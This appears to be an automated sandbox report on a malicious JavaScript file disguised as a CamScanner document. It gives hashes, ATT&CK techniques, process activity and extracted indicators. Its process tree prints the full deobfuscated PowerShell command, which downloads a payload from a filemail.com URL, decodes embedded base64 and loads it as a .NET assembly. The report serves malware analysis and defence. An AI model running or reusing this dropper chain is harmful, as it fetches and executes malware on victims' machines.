47c3b0014cc31b4af6bb864d5d0b55b365d173d1328be50d3cddb5bf5aedda8b

Analysis

max time kernel
121s
max time network
123s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
18/02/2025, 15:02

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General

Target

CamScanner 02-18-20250535.js
Size

311KB
MD5

0de9fff98db3ba4094c5aa81d6c67423
SHA1

c1350fa5569ad8d00231da2cde9955c34757fba5
SHA256

554b9322949c5330f897d744e542da4d8db44ec6b193ed36374c386fb8cdb0c0
SHA512

1fe18f132389031057617a771dd0aab9fce470156eae586d607da651d7506f8e6d51ba432149db749fd614a58873262fbfae1bc132e10f7b14f1bcdb700a3703
SSDEEP

3072:5vJ5HovJ5HovJ5HovJ5H7vJ5HovJ5HovJ5HovJ5H4vJ5HovJ5HovJ5HovJ5HRbUj:soYfL

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://3005.filemail.com/api/file/get?filekey=nIx_5T0LxHOBjilNb9CRviabPjrW2dlC-LxeOdJPF_Z_1MP6CuQBS5KcptA&pk_vid=342803d1cc4e3b801739359203b5fe9d

exe.dropper

https://3005.filemail.com/api/file/get?filekey=nIx_5T0LxHOBjilNb9CRviabPjrW2dlC-LxeOdJPF_Z_1MP6CuQBS5KcptA&pk_vid=342803d1cc4e3b801739359203b5fe9d

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	2088	powershell.exe
7	2088	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2088	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2088	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2088	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2112 wrote to memory of 2088	2112	wscript.exe	28
PID 2112 wrote to memory of 2088	2112	wscript.exe	28
PID 2112 wrote to memory of 2088	2112	wscript.exe	28

C:\Windows\system32\wscript.exe
wscript.exe "C:\Users\Admin\AppData\Local\Temp\CamScanner 02-18-20250535.js"
1⤵
- Suspicious use of WriteProcessMemory
PID:2112
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$panthera = 'jLg3x/sr.e#sap//:sp##h';$roflcopter = $panthera -replace '#', 't';$liegemen = 'https://3005.filemail.com/api/file/get?filekey=nIx_5T0LxHOBjilNb9CRviabPjrW2dlC-LxeOdJPF_Z_1MP6CuQBS5KcptA&pk_vid=342803d1cc4e3b801739359203b5fe9d';$arecaceae = New-Object System.Net.WebClient;$Mochi = $arecaceae.DownloadData($liegemen);$mulligans = [System.Text.Encoding]::UTF8.GetString($Mochi);$debations = '<<BASE64_START>>';$ammonite = '<<BASE64_END>>';$abludes = $mulligans.IndexOf($debations);$heartstoppingly = $mulligans.IndexOf($ammonite);$abludes -ge 0 -and $heartstoppingly -gt $abludes;$abludes += $debations.Length;$monopoly = $heartstoppingly - $abludes;$ganocephalan = $mulligans.Substring($abludes, $monopoly);$fuckroom = [System.Convert]::FromBase64String($ganocephalan);$Shermanesque = [System.Reflection.Assembly]::Load($fuckroom);$orbiting = [dnlib.IO.Home].GetMethod('VAI').Invoke($null, [object[]] @($roflcopter,'','','','MSBuild','','','','','','','','','',''))"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2088

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\Cab97DE.tmp

Filesize
70KB

MD5
49aebf8cbd62d92ac215b2923fb1b9f5

SHA1
1723be06719828dda65ad804298d0431f6aff976

SHA256
b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

SHA512
bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

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C:\Users\Admin\AppData\Local\Temp\Tar9800.tmp

Filesize
181KB

MD5
4ea6026cf93ec6338144661bf1202cd1

SHA1
a1dec9044f750ad887935a01430bf49322fbdcb7

SHA256
8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

SHA512
6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

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memory/2088-4-0x000000001B790000-0x000000001BA72000-memory.dmp

Filesize
2.9MB

Download
memory/2088-5-0x0000000001F00000-0x0000000001F08000-memory.dmp

Filesize
32KB

Download
memory/2088-40-0x000000001D5B0000-0x000000001D7B6000-memory.dmp

Filesize
2.0MB

Download